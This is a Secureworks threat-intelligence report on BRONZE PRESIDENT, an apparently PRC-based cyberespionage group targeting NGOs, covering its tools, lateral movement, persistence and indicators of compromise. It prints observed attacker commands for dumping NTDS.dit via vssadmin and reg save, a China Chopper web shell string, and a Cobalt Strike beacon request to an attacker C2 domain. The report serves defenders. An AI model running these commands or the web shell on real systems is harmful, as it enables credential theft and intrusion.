BRONZE PRESIDENT Targets NGOs | Secureworks


Summary

The activities of some non-governmental organizations (NGOs) challenge governments on politically sensitive issues such as social, humanitarian, and environmental policies. As a result, these organizations are often exposed to increased government-directed threats aimed at monitoring their activities, discrediting their work, or stealing their intellectual property. BRONZE PRESIDENT is a likely People’s Republic of China (PRC)-based targeted cyberespionage group that uses both proprietary and publicly available tools to target NGO networks. Secureworks® Counter Threat Unit™ (CTU) researchers have observed BRONZE PRESIDENT activity since mid-2018 but identified artifacts suggesting that the threat actors may have been conducting network intrusions as far back as 2014.

CTU™ researchers divided the threat intelligence about this threat group into two sections: strategic and tactical. Executives can use the strategic assessment of the ongoing threat to determine how to reduce risk to their organization’s mission and critical assets. Computer network defenders can use the tactical information gathered from incident response investigations and research to reduce the time and effort associated with responding to the threat group’s activities.

Key points

  • The BRONZE PRESIDENT cyberespionage group targets NGOs, as well as political and law enforcement organizations in countries in South and East Asia.
  • The threat group appears to have developed its own remote access tools that it uses alongside publicly available remote access and post-compromise toolsets.
  • After compromising a network, the threat actors elevate their privileges and install malware on a large proportion of systems. The group runs custom batch scripts to collect specific file types and takes proactive steps to minimize detection of its activities.

Strategic threat intelligence

Analysis of a threat group’s targeting, origin, and competencies can determine which organizations could be at risk. This information can help organizations make strategic defensive decisions in relation to the BRONZE PRESIDENT threat group.

Intent

CTU researchers have observed BRONZE PRESIDENT targeting multiple NGOs. The threat actors steal data from compromised systems over a long period of time, which likely indicates a long-term objective of monitoring the target’s network. BRONZE PRESIDENT uses custom batch scripts to collect either specific file types (including files with .pptx, .xlsx, .pdf extensions) or all files within a specific location. CTU researchers also observed evidence that the threat actors collect credentials from high-privilege network accounts and reputationally sensitive accounts, such as social media and webmail accounts.

Additionally, CTU researchers have observed evidence of BRONZE PRESIDENT targeting political and law enforcement organizations in countries adjacent to the PRC, including Mongolia and India. Some of the group’s phishing lures suggest an interest in national security, humanitarian, and law enforcement organizations in the East, South, and Southeast Asia (see Figure 1). These examples reveal BRONZE PRESIDENT’s likely intent to conduct political espionage in other countries in addition to targeting NGOs.


Figure 1. August 2019 phishing lure referencing Mongolian national security topics. (Source: Secureworks)

Attribution

It is highly likely that BRONZE PRESIDENT is based in the PRC due to the following observations:

  • The NGOs targeted by BRONZE PRESIDENT conduct research on issues relevant to the PRC.
  • Strong evidence links BRONZE PRESIDENT’s infrastructure to entities within the PRC.
  • There are connections between a subset of the group’s operational infrastructure and PRC-based Internet service providers.
  • Tools such as PlugX have historically been leveraged by threat groups operating in the PRC.

It is likely that BRONZE PRESIDENT is sponsored or at least tolerated by the PRC government. The threat group’s systemic long-term targeting of NGO and political networks does not align with patriotic or criminal threat groups.

Capability

BRONZE PRESIDENT has deployed a variety of remote access tools. The use of tools not previously observed by CTU researchers suggests that the group could have access to malware development capabilities. BRONZE PRESIDENT also uses widely available or modified open-source tools, which could be a strategic effort to reduce the risk of attribution or to minimize the need for tool development resources. Following a network compromise, the threat actors typically delete their tools and processes. However, the group is content leaving some malware on the network, likely to provide a contingency if other access channels are removed. When the group’s activities were detected in one incident, it had elevated privileges and had maintained access to the targeted environment for several months. This finding indicates the group’s effectiveness at maintaining long-term access to a targeted network.

Tactical threat intelligence

Incident response engagements have given CTU researchers insight into the threat group’s tools and tactics.

Tools

CTU researchers and Secureworks incident responders have observed BRONZE PRESIDENT using the following tools, along with several custom batch scripts for locating and archiving specific file types:

Links to other malware

While analyzing hosts compromised by BRONZE PRESIDENT, CTU researchers identified other malware artifacts. Although there was no evidence of the group using the malware, the threat actors may have leveraged its access or capabilities during earlier phases of the intrusions. The BRONZE PRESIDENT intrusions observed by CTU researchers appear to have taken place over several months or years.

China Chopper web shell files named error404.aspx included the “eval(Request.Item[“|”],”unsafe”);” string. To successfully interact with the web shell, a threat actor sent HTTP requests that included the “|” parameter. The web shell files appeared to be installed during the timeframe that BRONZE PRESIDENT was active on the system (see Figure 3).


Figure 3. Timeline of malicious tool use on a compromised host. (Source: Secureworks)

CTU researchers identified a variety of post-compromise tools stored under %AppData% (e.g., AppDataRoamingTemp) on several compromised systems. The widespread proliferation and use of the following tools suggest that the group likely has the knowledge and capability to use them as part of its operations:

  • Powerview.ps1 — This PowerShell-based module for network reconnaissance is part of the PowerSploit penetration testing framework.
  • PVE Find AD User — This command-line tool identifies login locations of Active Directory (AD) users.
  • AdFind — This command-line tool conducts AD queries.
  • NetSess — This publicly available tool enumerates NetBIOS sessions.
  • Netview — This tool enumerates networks.
  • TeamViewer — This remote control and desktop-sharing tool has applications for legitimate and malicious system users. Its installation in a temporary directory alongside network reconnaissance and enumeration tools likely indicates malicious intent.

Initial access and working directories

At the time of detection, observed BRONZE PRESIDENT incidents had likely been ongoing for several months or even years. As a result, CTU researchers were unable to ascertain the initial access vector. In October 2019, third-party researchers described a phishing campaign that used C2 infrastructure that CTU researchers attribute to BRONZE PRESIDENT. This connection suggests that the group uses phishing emails with ZIP attachments that contain LNK files as an initial access vector.

During one intrusion, the threat actors gained administrator access to all systems within a targeted business unit and installed their remote access tools on 80% of the hosts. The group installed multiple tools within the environment, including three different tools on a strategically important server, likely to provide contingency access options (see Table 1).

HOST Cobalt Strike RCSession ORat
Host 1 (Server) X X X
Host 2 (User PC) X    
Host 3 (User PC) X X  
Host 4 (User PC)   X  
Host 5 (User PC)   X  
Host 6 (User PC) X X  
Host 7 (User PC) X    

Table 1. Remote access tools identified on infected hosts during a BRONZE PRESIDENT intrusion.

BRONZE PRESIDENT used multiple directories to install tools on compromised hosts (see Table 2).

Directory Associated tool
C:RECYCLER ORat
C:WindowsHelpHelp Cobalt Strike
C:WindowsdebugWIA Cobalt Strike
C:WindowsLogsDPX Cobalt Strike
C:PerfLogs RCSession
C:Recovery Nbtscan

Table 2. Directories used by BRONZE PRESIDENT to execute or store tools.

Network enumeration, lateral movement, and credential access

During multiple intrusions, the threat actors employed various tools and techniques to understand the network environments. For example, they used Nmap to scan various internal IP address ranges and SMB ports (see Figure 4). They also relied on Nbtscan, net user, and ping commands to obtain insights and identify opportunities for lateral movement.

Figure 4. Nmap network scanning tool use via RCSession. (Source: Secureworks)

BRONZE PRESIDENT regularly leverages Wmiexec to move laterally. During one intrusion, the threat actors extensively used this tool to execute WMI commands on remote hosts in the environment (see Figure 5).

Figure 5. Wmiexec used to execute commands on a targeted host. (Source: Secureworks)

They also frequently leverage net commands to connect to other hosts (see Figure 6) using compromised credentials collected during early phases of the intrusion.

Figure 6. BRONZE PRESIDENT Nbtscan use and net commands. (Source: Secureworks)

During one intrusion observed by CTU researchers, the group used the native vssadmin tool on a domain controller to create a volume shadow copy:

vssadmin create shadow /for=c:

The threat actors retrieved the NTDS.dit file from the volume shadow copy. NTDS.dit contains Active Directory data, including password hashes for all users on a domain. Extracting hashes from the NTDS.dit file requires access to the SYSTEM file in the system registry:

reg save hklmsystem c:windowstempsystem.hive

The threat actors saved both the SYSTEM file (system.hive) and NTDS.dit in the compromised host’s c:windowstemp directory. These files were likely exfiltrated and exploited offline to retrieve user password hashes, which could then be cracked or used to perform pass-the-hash attacks.

C2 communications and infrastructure

BRONZE PRESIDENT’s C2 techniques are dictated by its remote access tools. The group’s primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443. After connecting to its C2 server, RCSession checks in with an encrypted beacon and then awaits instruction. The ORat tool, which appears to be used less frequently by the group, communicates over TCP port 80 using a raw socket protocol (not HTTP).

The Cobalt Strike tool has malleable C2 profiles. During one intrusion, it connected to multiple C2 domains on TCP port 80, including mail . svrchost . com, using the following request. Subsequent Cobalt Strike C2 servers included subdomains of svchosts . com, svrchost . com, and strust . club.

GET /Dv9i HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Host: mail . svrchost . com
Connection: Keep-Alive
Cache-Control: no-cache

Some BRONZE PRESIDENT C2 domains analyzed by CTU researchers were hosted on infrastructure owned by Dutch VPS provider Host Sailor, Hong Kong-based New World Telecoms, and Malaysia-based Shinjiru Technology (see Figure 7). The threat actors have used discrete infrastructure clusters that share matching hosting and registration characteristics. The pattern of infrastructure hosting suggests that the group parks its domains when not in use, an operational security technique that limits exposure of the group’s overall hosting infrastructure.


Figure 7. Hosting for a subset of BRONZE PRESIDENT C2 domains. (Source: Secureworks)

Persistence, defensive evasion, and exfiltration

Some of BRONZE PRESIDENT’s malware has persistence capabilities. For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose. Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload.


Figure 8. BRONZE PRESIDENT scheduled task created for Cobalt Strike persistence. (Source: Secureworks)

The threat actors tend to install malware on a large proportion of hosts during their intrusions. However, the group exercises restraint and defensive evasion tactics to minimize opportunities for network defenders to detect or investigate its activities. For example, the threat actors deleted volume shadow copies after using them for NTDS.dit retrieval:

vssadmin delete shadows /for=c: /quiet

Likewise, the group demonstrated diligence by killing local and remote processes after they had been used:

BRONZE PRESIDENT targets specific data types. The threat actors use custom batch scripts to create a list of files with predefined criteria and collate the identified files into a .rar archive (see Figure 9). CTU researchers have observed BRONZE PRESIDENT batch scripts named doc.bat, xls.bat, xlsx.bat, ppt.bat, pptx.bat, pdf.bat, and txt.bat.


Figure 9. Batch script (pptx.bat) used to collate and archive all .pptx files in a defined location. (Source: Secureworks)

The group also uses the all.bat batch script to collect all files stored on a specific user’s desktop. CTU researchers observed RCSession and Cobalt Strike on systems that BRONZE PRESIDENT targeted for data theft. Either of these tools could have been used to exfiltrate the archived data.

Conclusion

BRONZE PRESIDENT has demonstrated intent to steal data from organizations using tools such as Cobalt Strike, PlugX, ORat, and RCSession. The concurrent use of so many tools during a single intrusion suggests that the group could include threat actors with distinct tactics, roles, and tool preferences. It is likely that BRONZE PRESIDENT has additional unobserved operational tools and capabilities. CTU researchers recommend that organizations apply controls to mitigate common intrusion techniques and behaviors along with controls that address the tools and techniques discussed in this analysis.

Threat indicators

The threat indicators in Table 3 are associated with BRONZE PRESIDENT threat campaigns. Note that IP addresses can be reallocated. The IP address and domains may contain malicious content, so consider the risks before opening them in a browser.

Indicator Type Context
ipsoftwarelabs.com Domain name PlugX C2 server
toshibadrive.com Domain name RCSession C2 server
strust.club Domain name ORat and Cobalt Strike C2 server
svchosts.com Domain name Cobalt Strike C2 server
svrhosts.com Domain name Cobalt Strike C2 server
116.93.154.250 IP address Cobalt Strike download location
forexdualsystem.com Domain name Used by BRONZE PRESIDENT to check a compromised system’s connectivity
apple-net.com Domain name Linked to BRONZE PRESIDENT domain (forexdualsystem . com)
lionforcesystems.com Domain name Linked to BRONZE PRESIDENT domain (forexdualsystem . com)
wbemsystem.com Domain name Linked to BRONZE PRESIDENT domain (forexdualsystem . com)
a0758535cf8eb689782b95d3791d23d5 MD5 hash ORat malware sample
774a9c3ff01a3e734b7bec0c312120126295fad9 SHA1 hash ORat malware sample
2e8762c984468ee309dad30a6c5f6d3308676ac721357da
442a8a5b9d9d65d82
SHA256 hash ORat malware sample
7101fff478290d4db8a1c11a8d3b40cb MD5 hash Cobalt Strike payload
4c81777551a772218519fb6dd1a6672aade4a936 SHA1 hash Cobalt Strike payload
bdf1452b55b9974f3e9a4aea4439769a02fd931660ed
655df92519a2a4df1261
SHA256 hash Cobalt Strike payload
5f626148bb2505f91f82da718487ca45 MD5 hash Cobalt Strike payload
c72cc22ad328946201b069cddae0eee021d687b1 SHA1 hash Cobalt Strike payload
cfa73718e16b499c34951cc5c857cd35bf263f94efa7e1
518cddf27766fb0d2f
SHA256 hash Cobalt Strike payload
dllhosts.exe Filename Cobalt Strike payload
0617cad9e5d559356c43d4037c86227f MD5 hash Modified DLL file (goopdate.dll) used by BRONZE PRESIDENT to install RCSession
f14eaf5d648aebb2ed7b00b2cf4349263b30fb1c SHA1 hash Modified DLL file (goopdate.dll) used by BRONZE PRESIDENT to install RCSession
2ea9ccf653f63bcc3549a313ec9d0bada341556
cc32dd2ca4b73e0c034492740
SHA256 hash Modified DLL file (goopdate.dll) used by BRONZE PRESIDENT to install RCSession
2433a0a2b1bfcbdccdca665cd758a6ad MD5 hash RCSession payload (English.rtf)
603babf64a62989bf00e124955471519f0d8e8ed SHA1 hash RCSession payload (English.rtf)
357943c55c7d6580dd7b91b832b6424403e9d
22b38c615ebac0990eb4cce104c
SHA256 hash RCSession payload (English.rtf)
3935da25054700d7b996f5f67de39492 MD5 hash Modified DLL file (goopdate.dll) used by BRONZE PRESIDENT to install RCSession
fcb799d02e6c1b4ac76ec8c5e704c7c511762d2d SHA1 hash Modified DLL file (goopdate.dll) used by BRONZE PRESIDENT to install RCSession
d0df97adc2a98c02c0adc407fd13040af972106c
2bb24726e963c63f7ab4634d
SHA256 hash Modified DLL file (goopdate.dll) used by BRONZE PRESIDENT to install RCSession
6f88260cbc97e60c03e9d91b7e4761a5 MD5 hash RCSession payload (English.rtf
ed8ad981c73ed444f1b89c4bda71ed99ca966c5a SHA1 hash RCSession payload (English.rtf)
41ca0ea774b3fdee2ac5b23c95aba0d
e6e24e261e71c26bf1d880932ba954e15
SHA256 hash RCSession payload (English.rtf)
NATIONAL SECURITY CONCEPT OF MONGOLIA.exe Filename ORat malware sample
0d3fbc842a430f5367d480dd1b74449b MD5 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
bd2533005a2eaed203054fd649fdbdcd3e3a860a SHA1 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
59aaa2b8116ba01c1b37937db37213ff1f4a855
2a7211ab21f73ffac2c0c13ce
SHA256 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
DSR & CSR of Special Branch Sind.exe Filename Associated with BRONZE PRESIDENT phishing lure delivering PlugX
e5a23e8a2c0f98850b1a43b595c08e63 MD5 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
9136eed34bea473d0f8554fb1d914502b832f219 SHA1 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
918de40e8ba7e9c1ba555aa22c8acbfdf77f9
c050d5ddcd7bd0e3221195c876f
SHA256 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
Daily News (19-8-2019)(Soft Copy).lnk Filename Associated with BRONZE PRESIDENT phishing lure delivering PlugX
5f094cb3b92524fced2731c57d305e78 MD5 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
1a2f1c97a5883e8bb4edcdacfe176da98b266b42 SHA1 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX
fb3e3d9671bb733fcecd6900def15b9a6b4f36b
0a35bdc769b0a69bc5fb7e40d
SHA256 hash Associated with BRONZE PRESIDENT phishing lure delivering PlugX

Table 3. BRONZE PRESIDENT indicators.





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